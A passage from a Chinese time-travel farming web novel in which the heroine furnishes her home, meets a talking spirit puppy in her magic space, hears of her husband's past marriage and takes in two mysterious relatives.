书柜是林若若特意要求的大容量,分上下两层,上面是格子,下面是对开的木门,漆水光亮,木纹清晰,看着就扎实;
书桌桌面宽大,边角打磨得圆润;三把椅子也是同款的靠背椅,样式简洁。
林若若领着他们将书柜靠墙放好,两张书桌一字排开,摆在窗前,这普通的房间顿时多了几分书香和稳当的气息。
这是赵林赵峰的书桌。
他们原本那张三条腿的桌子,被赵叔修好,暂时放到小静的床头。
林若若打算等小静长大,也给她打一套新的桌椅。女孩子也要读书识字的。
“赵叔手艺真好,这打得真周正!”林若若仔细看了看榫卯接口和漆面,由衷称赞。
老赵头搓着手,脸上笑开了花:“你满意就好!这料子都是选过的,结实,再用几十年都不带晃的。”
“满意,非常满意。”林若若点头,转身进屋取了早准备好的钱袋,数出说好的尾款递给老赵头,“赵叔,您点点。”
老赵头接过,也没细数,直接揣进怀里:“错不了。长风媳妇是个爽快人。”他看了看堂屋的布置,又想起什么,“对了,我家新做了一个躺椅,你要不要?”
“躺椅?”林若若眼睛一亮,“做好的?我自然是想要的!”
老赵头却嘿嘿一笑,冲院子外骡车上努了努嘴:
“巧了不是!前些日子给我家老爷子做了一个,他嫌太宽大,坐着不习惯,非要用他那把旧的。我就给改小了些,刷了漆放在家里。要是您不嫌弃,我这就让小子们搬进来您瞧瞧?合适就直接搬走,怎么样?”
林若若没想到还有这等巧事,连忙道:“那敢情好!快搬进来看看。”
两个汉子又出去,从骡车最里头抬下一张躺椅。
这躺椅是竹木混合的,椅面是宽厚的竹片,打磨得光滑温润,扶手和支架是硬木的,漆成深棕色,可以调节靠背的角度,下面还带着弧度,轻轻一摇,便自在晃动起来。
林若若用手按了按,又试了试摇晃的幅度,稳当又舒服。
她想象了一下自己或者赵长风午后躺在上面小憩或者看书的样子,觉得再合适不过。
“这个真好,赵叔,我要了!多少钱?”
老赵头报了个实在价,比新定做稍微便宜些。林若若爽快地又付了钱。
交割清楚,老赵头父子三人便告辞了。林若若送他们到门口,看着骡车走远,才回身关好院门。
小静早就好奇地跑过来,摸着光滑的书柜门,又去摇了摇躺椅。
“娘亲,这个椅子会动!”
“这个叫躺椅,累了可以躺着歇歇。”林若若笑着把玩沙子玩得小手脏兮兮的女儿抱到一边,“先洗手去,待会娘亲擦擦这些家具。”
她打了水,用柔软的细布将书柜、书桌、椅子仔细擦拭一遍,然后将自己早先从空间里挑出来的几本书——《弟子规》、《三字经》、《千字文》、一本游记杂谈、一本基础的农书——整齐地码放在书柜上层。
下层暂时空着,等以后赵林赵峰的书多了,或者赵长风有什么东西要放,都方便。
躺椅暂时放在了堂屋窗下阳光能照到的一角,上面铺上了从空间找出来的软垫子,铺上了一床小薄被子。
林若若上去试了试果然舒服极了。旁边可以再摆个小几,放茶具点心。
看着焕然一新的堂屋,林若若心里也敞亮了许多。
这个家,正在一点点添置,一点点变得更有烟火气,更像个长久过日子的模样。
她端起那杯已经微凉的咖啡,轻轻抿了一口,目光落在院子里玩沙子的小小身影上,又望向远处云雾缭绕的山峦,嘴角不自觉地弯起。
小静喝完水,又去玩沙子去了,林若若躺在躺椅上,晒着太阳,进了空间。
从她来到古代,空间第一次变化,是小静喊了自己娘亲,空间周围的地方就打了不少,还多了一块地,林若若把赵长风带回来的野山参种在里面了。
之
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后,又从姥姥的小库房里,找出一些青椒黄瓜和西红柿的种子,也种了下去,如今也已经长得郁郁葱葱了。
娇娇心中想着:要是能给菜地浇点灵泉水,这些菜会不会长得快一些?
“主人,要给菜地浇水吗?”林若若刚想着,耳边就传来一个奶声奶气的声音。
四处张望了一下,林若若发现自己右脚边,居然趴着一只小小的萨摩耶。
林若若怔住了,几乎以为自己出现了幻听。
她低头看去,一只雪团似的萨摩耶幼崽正仰着脑袋,湿漉漉的黑眼睛望着她,粉嫩的舌头微微吐着,尾巴摇得像朵蒲公英。
“是你在说话?”林若若下意识地问,心怦怦直跳。
空间里从未有过活物。
“是我呀,主人。”小萨摩耶用脑袋蹭了蹭她的脚踝,声音直接在林若若脑海中响起,
“我是空间的伴生灵,主人对这里的归属感越强,我就能醒得越早。现在,赵峰也喊你娘亲,我就醒啦,我可以帮主人管理这里啦!”
林若若蹲下身,小心翼翼地摸了摸它毛茸茸的脑袋,触感温暖真实。
“你叫什么名字?你能给菜地浇水?”
“主人家里有只小白,那以后就叫我大白吧。”
小萨摩耶舒服地眯起眼,“灵泉水就在那边呀,我可以引过来浇灌。用稀释的灵泉水浇灌,作物会长得更好更快,而且品质会提升哦。”
它迈着小短腿,哒哒哒地跑向不远处。
大白跑到池边,低下头,再抬起时,口中含着一小汪清亮的水。
它走到种着山参和蔬菜的地边,歪了歪头,那汪水便均匀地洒落在一小片青椒苗上。
肉眼可见地,那些青椒苗似乎精神了一瞬,叶片在无形的微风中轻轻舒展开,绿意仿佛加深了一丝。
“不能浇太多,它们现在还很脆弱。”大白解释道,又跑去含了一小口,浇灌旁边的黄瓜苗。
林若若看着这一幕,心中涌起巨大的惊喜。
第70章 背锅侠?
这空间,果然处处是惊喜。
“这泉水,我经常喝,对身体有什么影响?”林若若问道。
“主人每天喝一点,可以强身健体,祛除沉疴,但一次不能多,多了身体承受不住。”
大白浇完一小片地,跑回她脚边,“对外面的普通人效果更明显,但也更需要稀释。”
林若若心中念头急转。
赵长风常年打猎,身上难免有旧伤暗疾,已经给他用过,确实有奇效。
赵林赵峰正在长身体;小静也需要打好底子,傻根也有些憨傻……
看来以后,他们也可以用了。
这灵泉水,或许能慢慢改善一家人的体质。
“大白,以后这里的作物,就麻烦你照看了。”林若若温柔地抚摸着大白的背**。
“放心吧,主人!我很能干的!”
大白开心地转了个圈,“主人多进来陪陪我,空间也会更稳固,说不定还能有别的变化呢。”
林若若笑着点头。
她在空间里又停留了一会儿,看着大白笨拙又认真地“工作”,心头暖融融的。
直到估摸着外面时间差不多了,她才叮嘱大白几句,心神一动,离开了空间。
意识回归,她仍躺在堂屋窗下的新躺椅上,阳光暖暖地洒在身上。
院子里,小静还在专心地堆着她的沙堡,嘴里哼着不成调的儿歌。
一切如常,又似乎有什么不一样了。家具有了,空间有大白了,未来的日子,仿佛也像那被灵泉水滋润过的幼苗,充满了生机与希望。
她起身,走到厨房,从水缸里舀出清水,又悄悄从空间引出一缕细如发丝的灵泉水混入其中。
用这水煮了壶简单的花草茶,倒了一杯放在小静玩沙的小木凳旁。
“小静,玩累了来喝口水。”
“谢谢娘亲!”小静抬起头,笑得像个小太阳。
她跑过来,捧起杯子咕咚咕咚喝了大半,咂咂嘴,“娘亲,今天的水甜甜的,好喝!”
林若若微笑着,目光柔软。
明天给赵林赵峰带什么好呢?
哎,有了!那就做肉卷吧!
有饭有菜又有肉!
关键是好带!
好主意!
一天三顿饭,太难了~
中午其他人都不在家,林若若就蒸了个鸡蛋羹,自己炒了个蛋炒饭。
吃完饭,林若若哄着小静睡午觉去了。
趁着这个功夫,林若若锁上门,去河边洗衣服去了。
虽然她经常把衣服放进空间的洗衣机啦,但如果自己长时间不去河边洗衣服,村里人会怀疑的。
挎着一个木盆,带着脏衣服,林若若来到了村口的小河边。
虽然说是小河,但河水水量不小,水流也很清澈,河底的沙石还有小鱼,清清楚楚。
中午有河边已经有一些婶子、大娘、和村里的小媳妇儿的在洗衣裳了。
“哟,这是谁家的小娘子?这身娇肉贵的,居然也舍得到河边来洗衣裳了?!”一个圆脸三角眼的大娘阴阳怪气~
“李家阿婆,可不能这样说话,人家新媳妇脸皮薄,又有福气,找了长风这样二婚的老男人,又是千金小姐,金贵着呢!”旁边一个穿着红袄子的年轻小媳妇语气酸溜溜的~
“快拉倒吧!千金小姐能到咱们这山沟沟里来?谁信哪!”旁边有个头发乱蓬蓬的中年女人嘲讽道,一说话就露出一嘴的大黄牙~
“来,若若,上阿婆这里来。”河上游,柳阿婆说话了。
“柳阿婆也在?好,这就来。”
林若若轻描淡写地看了一眼刚刚冷嘲热讽的几人,笑眯眯地说:“各位婶子阿婆,虽然我家长风是二婚,年纪也比我大,但那又怎样?!年纪大会疼人,又能赚钱,我呀欢喜着呢!”
说完,就挎着盆,故意扭着纤细的腰身,去到了柳阿婆身边的大石头上,开始洗衣裳。
“不要跟这些人生气,不值当的。”柳阿婆宽慰她。
“我知道的,没生气~”林若若笑眯眯地说着,手下不太熟练地用棒槌锤着衣裳。
“日子自己过的舒心最重要。对了阿婆,你要是有啥事需要帮忙,你就让人到家里,喊我、喊长风都行。”水
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有点凉,林若若用两根纤细的手指,揪着衣服在河水里晃荡~
柳阿婆有些惊讶地看了她一眼,欲言又止。
“怎么了?有什么问题?”林若若有些不解。
柳阿婆看着她天真、澄澈的目光,慢吞吞地说道,
“是这样,你家长风自从来到赵家村之后,几乎和谁家都不大往来的,也和谁家都不走动。”
林若若蹲的腿疼,忍不住站起来,“不对啊,我俩成亲的时候村里不是来了好多人吗?”
阿婆坐在河边的石头上,冲着林若若招了招手,“那是村长发话了,说赵长风怎么也是同宗同族,家中娶亲族人不到,这有违祖训,所以大家这才去的。”
林若若叹了口气,心里偷偷想着,“这人际关系都差到这份上了吗?”
揉了揉太阳穴,林若若真诚地发问,“他一直是这样冷冰冰的吗?”
“一直是,尤其是他第一个老婆跑了之后,更厉害了……”
“跑了?!”林若若被惊了一下。
她一直以为是和离的。
而且,她也不是好事的人,从来到这里,也没打听过。
哎呀妈呀!今儿是什么日子?这大瓜一个接一个~
完了!
心中的八卦之火熊熊燃烧了起来!
林若若手里的棒槌“啪”地掉进水里,顺着水流往下漂了两尺才被她慌忙捞回来。
她瞪大了眼睛,脸上写满了不可置信。
“跑……跑了?”
她压低了声音,下意识地往身后那几个还在叽叽咕咕的妇人方向瞥了一眼,又凑近柳阿婆,“阿婆,您说清楚,到底怎么回事?长风他……他之前只跟我说是和离了。”
柳阿婆叹了口气,手里的动作慢了下来,浑浊的河水冲刷着她手中一件打满补丁的旧衣。
她左右看看,确认没人特别注意这边,才用更轻的声音说:
“唉,这事儿啊,在咱们村里也不是啥绝对的秘密,只是没人当着长风和他家孩子的面提罢了。那女人,名叫司兰兰,是五年前长风从后山老林子里背回来的。”
第71章 陈年旧事
“原来是这样?!”林若若的求知欲爆发了。
“当时啊,她浑身是伤,昏迷不醒,身边还跟着两个吓坏了的孩子,就是赵林和赵峰。长风心善,虽然自己日子也紧巴,还是把人弄回家,请了郎中,好歹救了回来。那司兰兰醒了,说是逃难出来的,家里人都没了,就剩她和两个儿子。她模样生得标致,说话也细声细气,看着不像普通农家女。长风救了人,本也没图啥,可她伤好后,就……就说要留下来报答,愿意嫁给长风。”
柳阿婆顿了顿,手里的棒槌在石头上不轻不重地捶打着:
“长风那孩子,你是知道的,话少,看着凶,其实心实诚。他一开始没答应,觉得委屈了人家姑娘。可司兰兰坚持,两个小子也依赖他,加上村里……当时也有些闲话,说他一个大男人家里留着个来历不明的女人不像样。后来,也就成了亲。”
林若若听得入神,手里的衣服都忘了搓洗:“那后来呢?小静……”
“成亲后大概七个月吧,小静就出生了。”
柳阿婆的声音压得更低,眼神里带着一丝复杂,“月份上……是有些对不上。但那时候长风对外只说孩子早产,大家心里明镜似的,可看他护得紧,对司兰兰和三个孩子都好得没话说,慢慢的,也就没人当面嚼这个舌根了。司兰兰刚生完小静那阵子,长风打猎更拼了,换钱买细粮、买补品,自己啃粗粮饼子,把好的都紧着她。”
“那她为什么还要跑?”
林若若心里有些发闷,说不清是为赵长风不值,还是为那三个孩子心疼。
“日子好了不到两年吧。”柳阿婆摇摇头,“小静刚断奶的时候。司兰兰的脾气慢慢就变了,嫌村里苦,嫌长风闷,嫌日子没盼头。时常和长风吵闹,有时还拿孩子撒气。长风都忍着,只是更沉默了些。直到有一天,村里有人看见一辆挺气派的马车在村口停了半天。第二天,司兰兰就不见了,只留下三个哭得撕心裂肺的孩子,家里攒下的钱……也全都带走了。”
柳阿婆四周看了看,发现没人关注她们,又继续说道,
“长风回来,一句话没说,把自己关在屋里一天一夜,出来后就成了你现在看到的这个样子,更冷,更不爱跟人打交道,只埋头养活孩子。”
河水哗哗地流着,带着春的凉意。
林若若觉得心里也像被这河水浸过一样,凉丝丝,沉甸甸的。
她想象着当时赵长风的样子,那个高大的、总是默默扛起一切的男人,独自面对妻子抛弃和邻里议论时的情形……
“那赵林赵峰,知道他们的娘亲走了之后……”林若若迟疑地问。
“小静还好,赵林赵峰有一阵天天哭,也不吃饭。闹腾的厉害的时候,赵长风就把他俩带到山里去了,回来的时候就不闹了也不爱说话了。”
柳阿婆说着,看了一眼林若若,“若若啊,阿婆跟你说这些,不是想让你心里膈应。是看你是个好的,对孩子们真心实意,才多句嘴。长风这孩子,不容易,心是好的,就是被伤得狠了,裹了一层硬壳。你……你多担待些,你们这日子,眼看着是往好里过的。”
林若若怔怔地点了点头,手下无意识地揉搓着赵长风那件半旧的粗布外衫。
布料硬挺,上面似乎还残留着他身上那种混合着阳光、草木和淡淡汗意的气息。
怪不得……怪不得他最初对自己那样戒备疏离;
怪不得他对孩子们虽然沉默却极度维护;
怪不得他总是一副“你别指望我,我也不指望你”的样子。
原来那冷漠之下,藏着的是一片曾被狠狠践踏过的真心,和一座宁愿荒芜也不再轻易让人靠近的心墙。
“我知道了,阿婆。谢谢您告诉我这些。”
林若若深吸一口气,重新拿起棒槌,用力地捶打起来,水花溅起,在阳光下闪着细碎的光,“过去的事,是长风和孩子们的伤疤,我不会去揭。我就是我,林若若。以后的日子,是我们一家人的。”
柳阿婆看着她眼中逐渐坚定的神色,脸上露出欣慰的笑容:“好孩子,你能这么想就对了。
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日子啊,都是往前过的。”
衣服洗得差不多了,林若若拧干水,一件件放回木盆里。
河下游,那几个妇人还在低声说笑,目光不时瞟过来。林若若直起身,端起木盆,对着柳阿婆笑了笑:
“阿婆,我洗好了,先回去了。小静估计该醒了。”
“哎,快回去吧。”
林若若转身往回走,步履稳稳的,腰背挺得笔直。
路过那几个妇人身边时,她们似乎又想说什么,但触到林若若平静无波却仿佛能洞悉一切的眼神,不知怎的,讪讪地闭上了嘴。
阳光暖洋洋地照在身上,驱散了河水带来的凉意。
林若若的心绪慢慢平复下来,取而代之的是一种更清晰的决心。
过去的伤痕她无法抹去,但未来,她可以用灵泉的滋养,用一日三餐的温暖,用点点滴滴的真心,去慢慢抚平那些皱褶。
肉卷,明天就做肉卷。给赵林赵峰带,也给那个把自己缩在硬壳里的男人带。
日子还长着呢。她抬头看了看湛蓝的天,嘴角微微弯起。
空间里的大白,院子里的小白,家里的三个孩子,还有那个外冷内热的猎人丈夫……
这穿越而来的日子,似乎比想象中,更让人期待了……
林若若端着木盆往家走,脚步不自觉地加快了些。
柳阿婆的话像一颗投入心湖的石子,漾开的波纹许久不能平息。
推开院门,小白摇着尾巴迎上来,亲昵地蹭了蹭她的裙角。
屋里静悄悄的,小静还没醒。
她轻手轻脚地晾好衣服,走进厨房。
灶膛里的火早已熄灭,只剩一点余温。她洗净手,从面缸里舀出细白的面粉,又兑了些粗面,开始和面。
力气活计做起来有些吃力,额角很快沁出汗珠,她却抿着嘴,一下下揉得认真。
面得先发上,明天一早才能用。
刚把面团用湿布盖好放在温暖处,就听见里屋传来窸窸窣窣的响动,接着是小静带着睡意、软软糯糯的呼唤:
“娘……”
第72章 远房亲戚
林若若赶紧擦手,快步走进里屋。
小丫头正揉着眼睛坐在炕沿,光着两只小脚丫在空中晃荡,头发睡得乱蓬蓬的像个小草窝,见林若若进来,立刻张开手臂,带着刚睡醒的鼻音:“娘,抱抱。”
“睡醒啦?”林若若的心瞬间软成一片,走过去把她抱进怀里。
小人儿热乎乎、软绵绵的身子依偎过来,带着干净的皂角和阳光晒过的被褥气息,还有独属于孩童的奶甜味。
林若若收紧手臂,想起柳阿婆说的“月份对不上”和“早产”,心底某处被轻轻触动。
不管小静的身世如何,她现在就是自己怀里这个全心全意依赖着自己的小女儿。
“渴不渴?娘给你倒水喝。”她柔声问。
小静在她肩头蹭了蹭,迷迷糊糊地点头。
林若若单手抱着她,走到外间倒了温水,小心地喂她喝下。
小静喝了水,清醒了些,搂着她的脖子,黑白分明的大眼睛看着她:“娘,你刚才在哪儿?”
“娘在厨房和面呢,明天给咱们小静蒸香喷喷的肉卷吃,好不好?”林若若蹭了蹭她的小鼻子。
“好!”小静眼睛一亮,又想起什么,“爹呢?”
“爹进山打猎了。”
林若若一边回答,一边抱着她坐到床边,拿起旁边叠放整齐的小衣裳给她穿上。
浅蓝色细棉布的小褂子,还是林若若前几天新做的,袖口绣了两朵简单的小黄花——她的绣工实在勉强,即使用缝纫机也是一般,但小静喜欢得紧。
“想哥哥。”小静乖乖伸手穿袖子,小声说。
“哥哥们也想小静,一会儿就放学回来了。”林若若给她系好衣带,又拿起梳子,小心翼翼地梳理那头细软的乱发。
阳光从窗户纸透进来,在女孩发顶跳跃。
她动作很轻,生怕扯痛了她。
梳好两个小揪揪,扎上红色的头绳,小静立刻精神起来,挣扎着要下地。
“我要看小白!”
“好,看小白。”林若若放下她,牵着她的小手走到院子里。
小白正趴在墙根晒太阳,听到动静,耳朵动了动,抬头看见小静,尾巴立刻欢快地摇起来。
小静咯咯笑着跑过去,蹲在小狗旁边,伸出小手轻轻摸它的头。
小白温顺地舔舔她的手指,惹得她又是一阵笑。
林若若站在屋檐下,看着这一幕,春日午后的阳光暖融融地洒在身上,心底那份因听闻往事而生的凉意和沉重,似乎也被这寻常的温馨画面一点点驱散。
院子角落那几株野花嫩芽又舒展了些,厨房里,面团正在静静地发酵,等待成为明日充满期待的早餐。
河边的流言,过去的伤疤,或许永远存在。
但此刻,院子里有孩子的笑声,有小狗摇尾,有阳光正好,有等待归人的炊烟即将升起。
这就是她要牢牢握在手里的,实实在在的当下。
她抬头望了望湛蓝的天际,山峦的轮廓在远处起伏。
赵长风就在那山里,赵林赵峰也该在回来的路上了。
日子,就是这样一点点过下去的。
傍晚时分,夕阳将天空染成柔和的橘红色,给村庄的屋顶和树梢都镀上了一层金边。
田地里劳作了一天的村人们,三三两两扛着锄头、镐头,沿着村道往家走,互相打着招呼,说着收成和闲话。
各家各户的烟囱里,渐渐升起了袅袅炊烟,空气中弥漫着柴火气息和隐约的饭菜香,一片宁静祥和。
林若若正在灶间忙碌,今晚吃拉面吧。
院子里,小静蹲在小狗小白旁边,拿着一根小树枝逗它,咯咯的笑声清脆悦耳。
就在这时,院门被轻轻叩响了。
“笃笃笃。”
声音不大,却清晰。
林若若以为是赵长风或者孩子们回来了,拍了拍手上的面粉,一边应着“来了”,一边快步走到院子里。
小静也好奇地抬起头,看着门口。
林若若拉开院门,映入眼帘的却不是熟悉的丈夫或儿子,而是一对陌生的男女。
两人都约莫三十多岁,穿着洗得发白、打着补丁
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的粗布衣裳,满面风尘,看上去十分疲惫。
男人身材高大,肩膀宽阔,皮肤黝黑,眉眼间带着一种经过风霜的坚毅,虽然衣着破旧,但背脊挺得很直。
女人个子中等,挽着简单的发髻,面容清秀,眉眼低垂,双手不安地交握着,透着几分小心翼翼的恭谨。
见林若若开门,两人明显松了口气,又有些局促。
男人上前一步,微微躬身,声音沙哑却清晰:“这位娘子,打扰了。请问……这里是赵长风赵大哥家吗?”
林若若有些意外,点头道:“是,请问你们是……”
男人脸上露出几分恳切,连忙道:“我们是……是赵大哥的远房亲戚,我叫梁石,这是我内人,娘家姓秦,您叫她秦娘子就行。我们老家在西北边,今年遭了大旱,颗粒无收,实在活不下去了……想起赵大哥以前提起过这边的村子,我们就一路寻了过来,想……想投奔他,找个落脚的地方,讨口饭吃。”
旁边的秦娘子也跟着微微欠身,声音细细的:“给娘子添麻烦了。我们……我们能干活的,什么活儿都能干,劈柴、挑水、种地、喂鸡、做饭、缝补……只求有个遮风挡雨的地方,有口吃的就行,绝不多添麻烦。”
她说着,眼眶微微泛红,似乎一路艰辛,饱含委屈又强忍着。
林若若的目光在他们身上打了个转。
梁石手掌宽大,骨节分明,有厚茧,但虎口和指根处的茧子位置似乎有些特别,不像纯粹干农活留下的。
秦娘子虽然衣着朴素,姿态恭顺,但那双手指纤细,指甲修剪得整齐干净,低眉顺眼间偶尔抬起的目光,沉静而克制,不太像寻常村妇。
她心里掠过一丝极其细微的疑惑,但这疑惑很快被眼前的窘迫和“赵长风亲戚”这个身份压了下去。
长风进山前并未提及有亲戚要来,但也许是他自己也没料到,或者觉得不是什么大事。
看这两人模样,确实像遭了灾一路跋涉而来的,满脸的风霜,还有两人漏了脚趾头的鞋子~
第73章 留下
最重要的是,他们提到赵长风时语气自然,眼神虽然疲惫,却并无奸猾之色,尤其是那秦娘子,眼底深处那份恳切与不安,不似作伪。
想到赵长风一贯的为人,他重情义,若真是有旧或沾亲带故的落难之人找来,他必定不会袖手旁观。
林若若心下一软,侧身让开:
“原来是长风的亲戚,快请进来吧。一路辛苦,先喝口水歇歇脚。长风他进山打猎了,估摸着过两天才能回来。”
梁石和秦娘子闻言,脸上顿时露出感激的神色,连声道谢,小心翼翼地走进院子。
小静好奇地躲在林若若身后,探出小脑袋看着陌生人。
秦娘子看到小静,眼神柔和下来,想露出一个笑容,又似乎有些拘谨,只轻轻点了点头。
林若若将他们让到屋檐下的小凳上坐下,转身去屋里倒了温水出来。
“家里简陋,别嫌弃。你们先歇着,我去给你们弄点吃的。”
梁石连忙站起来:
“不用不用,娘子,您别忙,我们自己……”
他环顾了一下院子,目光落在墙角堆放整齐的柴垛和有些松动的院门门轴上,“要不,我先帮您把活干了。”
说着,不等林若若回答,就大步走到院门边,蹲下身查看那门轴,又试了试力道,动作干脆利落。
秦娘子也站起身,对林若若温声道:
“娘子在做饭吧?若不嫌弃我手笨,我去灶下帮您烧火,或是摘菜洗菜都行。”
林若若本想推辞,但看他们态度坚决,而且秦娘子已经挽起袖子,一副准备干活的模样,便也不再客气,笑道:“那就有劳秦娘子了,正好锅里还差把火。梁大哥,门轴麻烦你了,前两天风大,是有点松了。”
“应该的。”梁石闷声应道,已经开始找合适的石块和木楔。
秦娘子随着林若若进了灶间,她动作并不十分熟练于乡间的土灶,但观察了一下火势和林若若的步骤,便安静地坐在灶前,适时添加柴火,控制着火候,竟让那原本有些跳跃不定的灶火变得平稳而均匀起来。
她不多话,只在林若若需要时递个东西,或是轻声问一句“这样可好”,显得妥帖而细致。
院子里,梁石几下就修好了门轴,又顺手将柴垛重新归整得更加牢靠整齐,还检查了屋檐下挂着的几件农具。
他力气似乎很大,动作沉稳有效,做起这些杂活来毫不费力,甚至有种……过于利落的气势。
林若若一边揉着面团,一边用眼角余光留意着。
心里的那点疑惑又悄悄浮起。这对“远房亲戚”,似乎……太过“得力”了些。
尤其是秦娘子,那通身的气度,怎么看都不像是寻常逃荒的农妇。
但,他们眼中那份找到落脚处的安心和感激,以及对赵长风名字的反应,又不似假装。
或许,是曾经家境尚可,遭了难才落魄至此?
又或者,是长风曾经帮过的、有些特别经历的人?
不管怎样,人已经来了,长风又不在家,她总得先安顿好。
等长风回来,一切自然清楚。
她压下思绪,将揉好的面团盖上湿布,转身对秦娘子温和地说:“饭快好了,东边那间厢房空着,我待会儿去收拾一下。等长风回来,再商量以后怎么安排。”
秦娘子抬起头,眼中似有水光闪动,她深深看了林若若一眼,低下头去,声音微哽:
“多谢娘子收留……我们,感激不尽。”
院子里,梁石也停下了手里的活,朝着灶房的方向,郑重地抱了抱拳。
夕阳的余晖完全褪去,天色转为暗蓝。
村子里的灯火次第亮起,赵林和赵峰背着书包,嬉笑着跑进了院子,看到陌生人,愣了一下。
林若若擦了擦手,迎出去,简单解释了一句:“这是你们爹的远房表叔和表婶,家里遭了灾,来咱们家暂住些日子。快叫人。”
两个孩子乖巧地叫了人,好奇地打量着梁石和秦娘子。
秦娘子看着两个半大男孩,脸上露出
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温和的笑意,轻轻点了点头。
梁石也努力扯出一个略显僵硬但友善的表情。
夜色渐浓,村子里星星点点的灯火在黑暗中显得格外温暖。
院门再次被推开时,带进来一股山间的凉气和草木泥土的芬芳。
赵长风高大的身影率先迈了进来,肩头扛着一只不小的狍子,身后跟着乐呵呵的傻根,以及另外五个同去的绑着双手的汉子。
“回来啦?”若若赶紧迎了上去,站在赵长风对面,悄声说道,“下午家里来了你的两个远房亲戚,说是家里遭灾,来投奔。”
这时,赵长风才注意到屋檐下站起来的梁石和秦娘子。
他目光微微一凝,脸上掠过一丝不易察觉的审视,但很快就恢复了常色。
林若若擦了擦手上的水,温声解释:
“长风,你回来了。这两位是梁石大哥和秦娘子,说是你的远房亲戚,老家遭了旱灾,一路寻过来投奔。你进山前没提起,我想着既是亲戚落难找来,总不好让人在门外等着,就先请进来了。”
她说话间,留意着赵长风的神色。
赵长风听罢,看向梁石二人,脸上露出恍然又带着些感慨的表情,大步走过去,拍了拍梁石的肩膀:“是梁石表弟?好些年了,差点没认出来。一路辛苦,这位是弟妹吧?快坐快坐。”
梁石似乎松了口气,紧绷的肩膀微微放松,抱拳道:
“长风大哥,多年不见,冒昧前来,实在惭愧。这是内子秦氏。”
秦娘子也再次敛衽行礼,声音轻柔:“赵大哥。”
“既然来了,就是到家了,别客气。”赵长风语气爽朗,转头对孩子们,说道,“以后这就是你们的表叔表婶,叫人。”
三个孩子排排站,乖巧地鞠躬喊人,把梁石和秦娘子搞的手足无措。
傻根嘿嘿也笑着喊了声“表哥表嫂”,和之后把猎物放到墙角阴凉处,又把那五人关到了柴房里,嘴里嚷着:“嫂子做的拉面那是一绝,有口福喽!”
第74章 赵山根?
林若若见状,心下稍安,看来赵长风确是认得他们的,或许真是远亲,只是多年没有走动罢了。
她压下心头那点残留的疑惑,笑道:“你们先洗把脸歇着,面马上就好。梁大哥,秦娘子,你们也坐,一路奔波,肯定饿了。”
秦娘子忙道:“我来帮娘子。”
“不用,你快歇着,陪小静说说话就好。”林若若将她轻轻按回凳子上,转身快步进了灶间。
灶间里,大锅中的水已经滚开,白汽氤氲。
林若若揭开湿布,露出醒得光滑柔软的面团。
她洗净手,在案板上洒了些薄面,将面团取出,熟练地揉搓成长条,然后双手各执一端,在案板上轻轻摔打、抻拉。
她的动作行云流水,带着一种独特的韵律。
面团在她手中仿佛有了生命,一次次对折,一次次抻开,由粗变细,由一根变成两根、四根、八根……纤细均匀的面条在她指间飞舞,却根根不断,最终化作一把细如银丝却韧劲十足的拉面。
灶火在秦娘子之前调好的火势下平稳地燃着,橘色的火光映着林若若专注的侧脸和灵巧的双手。
赵长风走进来拿水瓢,看见这一幕,脚步顿了一下,目光落在妻子微微沁出汗珠的额角和那飞舞的面条上,眼神柔和了一瞬。
他无声地舀了水,又退了出去,将空间留给她。
面条全部抻好,林若若将其娴熟地投入沸腾的大锅中,用长筷子轻轻拨散。
另一边的小灶上,她用下午熬好的骨头汤做底,加入了切碎的腌菜、晒干的山菇末,又飞快地炒了个葱花鸡蛋臊子,香气瞬间弥漫开来。
很快,面条煮熟,捞出过了一遍凉井水,更加清爽筋道。林若若将面条分盛到一个个大碗里,浇上浓香的骨头汤,铺上金黄的鸡蛋臊子和翠绿的葱花,最后点了几滴自家酿的辣椒油。
“开饭了!”
一声吆喝,院子里等待的众人立刻行动起来。
赵林赵峰帮着搬凳子,傻根和梁石夫妇帮忙端碗,赵长风则将家里那张旧方桌抬到了院子中央,又搬来几个树墩当凳子。
一大海碗、一大海碗热气腾腾、香气扑鼻的拉面摆上桌,在昏暗的夜色和屋檐下灯笼的光晕里,显得格外诱人。
面条洁白筋道,汤色清亮,臊子鲜香,葱花翠绿,看一眼就让人食指大动。
“都坐,别客气!”赵长风招呼着,先给梁石和秦娘子各端了一碗,“表弟,弟妹,到家了,先吃口热乎的。”
梁石一看,赶紧站起来,双手接过,连声道谢。
秦娘子也低声道了谢,捧着碗,热气模糊了她的眉眼。
傻根早已经等不及了,呼噜呼噜吃得满头大汗,连声夸赞:“嫂子好手艺!这面真筋道,汤也鲜!”
赵林赵峰也埋头苦吃,小**在娘亲身边,林若若给她找了一个小碗,一把木勺,让她自己挖着吃,小嘴吃得油乎乎的。
梁石吃得很安静,但速度不慢,动作间带着一种干脆。
秦娘子小口吃着,仪态依旧斯文,但微微加快的进食速度,显露出她确实饿了。
林若若自己也端了一碗,坐在赵长风旁边吃着。
她注意到,赵长风虽然和傻根他们说着话,眼神偶尔会掠过梁石,那目光深沉,带着一种了然的审视,却并无面对陌生歹人的警惕,反而有种复杂的、类似于“果然来了”的意味。
夜风轻柔,吹散了些许春夜的微寒。
院子里,碗筷的轻碰声、吸溜面条的满足声、男人间粗犷的谈笑声、孩子稚气的言语,交织成一曲平凡却温馨的农家夜话。
梁石和秦娘子渐渐放松下来,饭后,秦娘子死活不让林若若收拾碗筷,他说自己就能很快整理好。
秦娘子动作轻巧,并不多言,但偶尔与林若若视线相接,会露出一个浅浅的、感激的笑。
林若若让秦娘子收拾厨房,然后去院里找了赵长风。
两人商量过后,赵长风走回来,对梁石道:“梁石,你们暂时就住厢房,一会儿收拾好了,今晚你们先歇下。有什么事,明天再说。”
梁石点头:“叨扰大哥大嫂了。”
秦娘子也向林若若和赵长风再次道谢
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,这才跟着梁石,走向东边那间点起了油灯的厢房。
院子里安静下来,只剩下厨房里林若若收拾碗柜的声音。
赵长风走到灶间门口,靠在门框上,看着妻子忙碌的背影。
月光和灯笼的光透过窗棂,淡淡地洒进来。
“他们……”林若若没有回头,轻声开口。
“嗯,”赵长风应了一声,走过来,接过她手里的碗用清水漂洗,“是我以前认识的人,算是……有些渊源。具体的情形,以后慢慢跟你说。他们……暂且信得过。”
林若若动作顿了顿,点了点头,没有再多问。
丈夫身上有些过往,她隐隐知道一些,他不细说,她便不问。
只要他心中有数,这个家安稳,便好。
“面很好吃。”赵长风将洗好的碗放进橱柜,忽然低声道。
林若若擦干手,转头看他,笑了笑:“饱了?”
“嗯。”赵长风看着她,目光在昏暗中显得格外柔和,“家里辛苦你了。”
“说什么呢。”林若若嗔了他一眼,心里却暖融融的。
